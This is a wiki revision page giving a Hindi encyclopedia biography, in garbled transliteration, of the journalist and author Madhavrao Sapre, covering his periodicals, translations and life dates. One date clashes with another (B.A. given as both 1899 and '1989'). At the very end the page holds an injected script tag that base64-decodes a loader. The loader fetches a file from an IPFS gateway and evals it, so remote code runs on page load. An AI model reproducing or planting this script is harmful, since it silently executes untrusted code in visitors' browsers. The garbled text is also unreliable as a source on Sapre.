Difference between revisions of "माधवराव सप्रे"
[unchecked revision] | [unchecked revision] |
गोविन्द राम (talk | contribs) |
गोविन्द राम (talk | contribs) m (श्रेणी:स्वतंत्रता सेनानी; Adding category Category:स्वतन्त्रता सेनानी (को हटा दिया गया हैं।)) |
||
Line 76: | Line 76: | ||
{{साहित्यकार}} | {{साहित्यकार}} | ||
[[Category:साहित्यकार]] | [[Category:साहित्यकार]] | ||
− | [[Category:पत्रकार | + | [[Category:पत्रकार]] |
[[Category:लेखक]][[Category:आधुनिक काल]][[Category:साहित्य कोश]][[Category:चरित कोश]][[Category:इतिहास कोश]] | [[Category:लेखक]][[Category:आधुनिक काल]][[Category:साहित्य कोश]][[Category:चरित कोश]][[Category:इतिहास कोश]] | ||
+ | [[Category:स्वतन्त्रता सेनानी]] | ||
__INDEX__ | __INDEX__ | ||
__NOTOC__ | __NOTOC__ |
Revision as of 09:22, 24 April 2014
madhavarav sapre
| |
poora nam | pan. madhavarav sapre |
janm | 19 joon 1871[1] |
janm bhoomi | pathariya gram, damoh zila, madhy pradesh |
mrityu | 23 aprॅl, 1926 |
mrityu sthan | rayapur, chhattisagadh |
karm-kshetr | kahanikar, nibandhakar, samikshak, anuvadak, sanpadak |
mukhy rachanaean | svadeshi aandolan aur b aauyakat, yoorop ke itihas se sikhane yogy batean, hamare samajik hras ke kuchh karanoan ka vichar, madhavarav sapre ki kahaniyaan, hiandi kesari (patrika), chhattisagadh mitr (patrika) adi |
bhasha | hiandi |
vidyalay | kalakatta vishvavidyalay |
shiksha | bi.e., el.el.bi. |
nagarikata | bharatiy |
any janakari | madhavarav sapre ji ki kahani 'ek tokari bhar mitti' ko hiandi ki pahali kahani hone ka shrey prapt hai. |
inhean bhi dekhean | kavi soochi, sahityakar soochi |
pan. madhavarav sapre (aangrezi:Madhavrao Sapre, janm: 19 joon 1871 - mrityu: 23 aprॅl, 1926[1]) rashtrabhasha hindi ke unnayak, prakhar chiantak, manishi sanpadak, svatantrata sangram senani aur sarvajanik karyoan ke liye samarpit karyakartaoan ki shrriankhala taiyar karane vale prerak-margadarshak the. guru karmayogi pan. madhavarav sapre ka krititv aur avadan kalajayi hai. madhavarav sapre ji ki kahani 'ek tokari bhar mitti' ko hiandi ki pahali kahani hone ka shrey prapt hai.
jivan parichay
madhavarav sapre ji ka janm 19 joon 1871 mean madhy pradesh ke damoh zile ke pathariya gram mean hua tha.[1] bilasapur mean midil tak ki padhaee ke bad metrik shasakiy vidyalay rayapur se uttirn kiya. 1899 mean kalakatta vishvavidyalay se bi. e. karane ke bad unhean tahasiladar ke rup mean shasakiy naukari mili lekin jaisa ki us samay ke deshabhakt yuvaoan mean ek paranpara thi sapre ji ne bhi shasakiy naukari ki paravah n ki. san 1900 mean jab samooche chhattisagadh mean priantiang pres nahi tha tab inhoanne bilasapur zile ke ek chhote se gaanv peandra se "chhattisagadh mitr" namak masik patrika nikali. halaanki yah patrika sirf tin sal hi chal paee. sapre ji ne lokamany tilak ke marathi kesari ko yahaan hiand kesari ke rup mean chhapana praranbh kiya, sath hi hiandi sahityakaroan v lekhakoan ko ek sootr mean pirone ke lie nagapur se hiandi granthamala bhi prakashit ki. inhoanne karmavir ke prakashan mean bhi mahati bhoomika nibhaee. sapre ji ne lekhan ke sath-sath vikhyat sant samarth ramadas ke marathi dasabodh v mahabharat ki mimaansa, datt bhargav, shri ram charitr, ekanath charitr aur atm vidya jaise marathi granthoan, pustakoan ka hiandi mean anuvad bhi bakhoobi kiya. 1924 mean hiandi sahity sammelan ke deharadoon adhiveshan mean sabhapati rahe sapre ji ne 1921 mean rayapur mean rashtriy vidyalay ki sthapana ki aur sath hi rayapur mean hi pahale kanya vidyalay janaki devi mahila pathashala ki bhi sthapana ki. yah donoan vidyalay aj bhi chal rahe haian.[2]
- sapre ji ke kuchh smaraniy kathan
- "maian maharashtri hooan par hiandi ke vishay mean muhjhe utana hi abhiman hai jitana ki kisi hiandibhashi ko ho sakata hai."
- "jis shiksha se svabhiman ki vritti jagrit nahian hoti vah shiksha kisi kam ki nahian hai"
- "videshi bhasha mean shiksha hone ke karan hamari buddhi bhi videshi ho gee hai."
karyakshetr
raja ramamohan ray ne adhunik bharatiy samaj ke nirman mean jo chiangari jagaee thi usake vahak ke roop mean chhathtisagadh mean vaicharik samajik kraanti ke alakh jagane ka kam kisi ne poori pratibaddhata se kiya hai to nirvivad roop se yah kaha jayega ki vah chhathtisagadh ke pratham patrakar v hinhdi ki pratham kahani 'ek tokari bhar mitti' ke rachanakar pan. madhavarav sapre ji hi the. inhhoanne chhathtisagadh ke peandra se ‘chhathtisagadh mitr’ patrika ka prakashan sanh 1900 mean suprasiddh shvatantrata sangram senani shri vaman rav lakhe ke sahayog se aranbh kiya tha. rayapur mean adhhyayan ke dauran pan. madhavarav sapre, pan. nandalal dube ji ke samark mean aye jo inake shikshak the evan jinhhoanne abhijnan shakunhtalam aur uthtar ramacharit manas ka hinhdi mean anuvad kiya tha v udyan malini namak maulik granth bhi likha tha. pan. nandalal dube ne hi pan. madhavarav sapre ke man mean sahittik abhiroochi jagaee jisane kalaantar mean pan. madhavarav sapre ko ‘chhathtisagachh mitr’ v ‘ hinhdi kesari’ jaise patrikaoan ke sanpadak ke roop mean pratishthit kiya aur rashhtr kavi makhanalal chaturvedi ji ke sahityik guru ke roop mean ek alag pahachan dilaee.[3]
vivah
pan. madhavarav sapre sanh 1889 mean rayapur ke asishteant kamishhnar ki putri se vivah ke bad shhvasur dvara anushansit nayab tahasiladar ki naukari ko thukarakar apane karmapath ki or badh ge. pahale rarbatasan kalej jabalapur phir 1894 mean vikhtoriya kalej ghvaliyar evan 1896 mean ilahabad vishhvavidyalay se eph.e. pas kiya. isi bich unaki pathni ka dehavasan ho gaya aur shiksha mean kuchh badha a gee. pun: 1989 mean inhhoanne kalakatta vishhvavidyalay se bi.e. ki digri li evan elelabi mean pravesh le liya kinhtu apane vaicharik pratibaddhata ke karan inhhoannean vidhi ki pariksha ko chhod chhattisagadh vapas a ge. chhattisagadh mean ane ke bad parivar ke dvara inaka doosara vivah kara diya gaya jisake karan inake pas parivarik jimhmedari badh gi tab inhhoanne sarakari naukari kie bina samaj v sahithy seva karane ke uddeshhy ko kayam rakhane v bharan poshan ke lie peandra ke rajakumar ke aangrezi shikshak ke roop mean kary kiya. samaj sudhar v hinhdi seva ke jajbe ne inake man mean patr-patrika ke prakashan ki roochi jagaee aur mitr vaman lakhe ke sahayog se ‘chhathtisagadh mitr’ masik patrika ka prakashan praranbh kiya jisaki khhyati poore desh bhar mean phail gee.[3]
hiandi granthamala
marathi bhashi hone ke bavajood inhhoanne hinhdi ke vikas ke lie satat kary kiya. sanh 1905 mean hinhdi granth prakashak mandal ka gathan kar tathkalin vidvanoan ke hinhdi ke uthkrishhth rachanaoan v lekhoan ka prakashan dharavahik granthamala ke roop mean aranbh kiya. is granthamala mean pan. madhavarav sapre ji ke maulik shvadeshi anhdolan evan bayakat lekhamala ka bhi prakashan hua. bad mean is granthamala ka prakashan pushtakakar roop mean hua, isaki lokapriyata ko dekhate hue aangrez sarakar ne sanh 1909 mean ise pratibandhit kar prakashit pushtakoan ko jabt kar liya. hinhdi granthamala ke prakashan se rashhtravhyapi dhoom machane ke bad pan. madhavarav sapre ne lokamanhy bal gangadhar tilak se anumati prapht kar unaki amukh patrika maratha kesari ke anuroop ‘hinhdi kesari’ ka prakashan 13 aprail 1907 ko praranbh kiya. hinhdi kesari apane shvabhavik ugr tevaroan se prakashit hota tha jisamean aangrezi sarakar ki daman niti, kalapani, desh ka durdev, bam ke gole ka rahashy jaise uthtejak khekh prakashit hote the phalat: 22 agasht 1908 mean pan. madhavarav sapre ji giraphtar kar liye ge . tab tak sapre ji apani kenhdriy bhoomika mean ek prakhar patrakar ke roop mean sanpoorn desh mean shthapit ho chuke the.[3]
patr-patrika sanpadan
patr-patrika prakashan v sanpadan ki ichhchha sadaiv inake sath rahi isi kram mean mitroan ke anurodh evan patrakarita ke jajbe ke karan 1919- 1920 mean pan. madhavarav sapre ji jabalapur a ge aur ‘karmavir’ namak patrika ka prakashan aranbh kiya jisake sanpadak pan. makhan lal chaturvedi ji banae ge. unhhoanne deharadoon mean ayojit 15 vean akhil bharatiy sahithy samhmelan ki adhhyakshata bhi ki evan apani prerana se jabalapur mean rashhtriy hinhdi mandir ki shthapana karavaee jisake sahayog se ‘chhatr sahodar’, ‘tilak’, hitakarini’, ‘shri sharada’ jaise hinhdi sahithy ke mahathvapoorn patrikaoan ka prakashan sanbhav hua jisaka aj tak mahathv vidyaman hai.[3]
pramukh kritiyaan
- svadeshi aandolan aur b aauyakat
- yoorop ke itihas se sikhane yogy batean
- hamare samajik hras ke kuchh karanoan ka vichar
- madhavarav sapre ki kahaniyaan (sanpadan : devi prasad varma)
- anuvad
- hiandi dasabodh (samarth ramadas ki marathi mean likhi gee prasiddh)
- gita rahasy (bal gangadhar tilak)
- mahabharat mimaansa (mahabharat ke upasanhar : chiantamani vinayak vaidy dvara marathi mean likhi gee prasiddh pustak)
- sanpadan
- hiandi kesari (saptahik samachar patr)
- chhattisagadh mitr (masik patrika)[1]
sapre sangrahalay
pan. madhavarav sapre ne chhattisagadh mitra (1900), hindi granth mala (1906) aur hindi kesari (1907) ka sampadan prakashan kar hindi patrakarita aur sahity ko naye sanskar pradan kie. nagari pracharini sabha kashi ki vishal shabdakosh yojana ke antargat arthik shabdavali ke nirman ka mahatvapoorn kary sapre ji ne kiya. marathi ki sarvadhik mahatvapoorn kritiyoan mean se 'dasabodh', 'gitarahasy' aur 'mahabharat mimaansa' ke pramanik hindi anuvad sapre ji ne kiye. karmavir ka prakashan unhian ne karaya aur usake sampadak ke roop mean makhanalal chaturvedi jaisa tejasvi sampadak hindi sansar ko diya. 1924 ke deharadoon hindi sahity sammelan ki adhyakshata pan.madhavarav sapre ne ki. unaka ek atyant mahatvapoorn avadan svatantrata sangram, hindi ki seva aur samajik karyoan ke lie saik doan samarpit karyakarttaoan ki shrriankhala taiyar karana hai. 19 joon 1984 ko rashtr ki bauddhik dharohar ko sanjone aur bhavi pidhiyoan ki amanat ke roop mean sanrakshit karane ke liye jab ek anoothe sangrahalay ki sthapana ka vichar phalibhoot hua tab sapre ji ke krititv ke prati adar aur kritajnata abhivyakt karane ke liye sansthan ko 'madhavarav sapre samachar patr sangrahalay' nam diya gaya.[4]
nidhan
hiandi ke pahale kahanikar pan. madhavarav sapre ka nidhan 23 aprॅl, 1926 ko ho gaya.
|
|
|
|
|
tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 madhavarav sapre (hiandi) hiandi samay. abhigaman tithi: 24 aprॅl, 2014.
- ↑ hiandi ki pahali kahani aur madhavarav sapre (hiandi) avara banjara. abhigaman tithi: 24 aprॅl, 2014.
- ↑ 3.0 3.1 3.2 3.3 patrakarita v sahity ke rrishi pan. madhavarav sapre (hiandi) aranbh. abhigaman tithi: 24 aprॅl, 2014.
- ↑ karmayogi pan. madhavarav sapre (hiandi) sapre sangrahalay. abhigaman tithi: 24 aprॅl, 2014.
bahari k diyaan
- madhavarav sapre: chuni huee rachanaean (googal buks)
- madhavarav sapre smriti samachar patr sangrahalay evan shodh sansthan, bhopal
- 'hiandi kesari' madhavarav sapre’
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>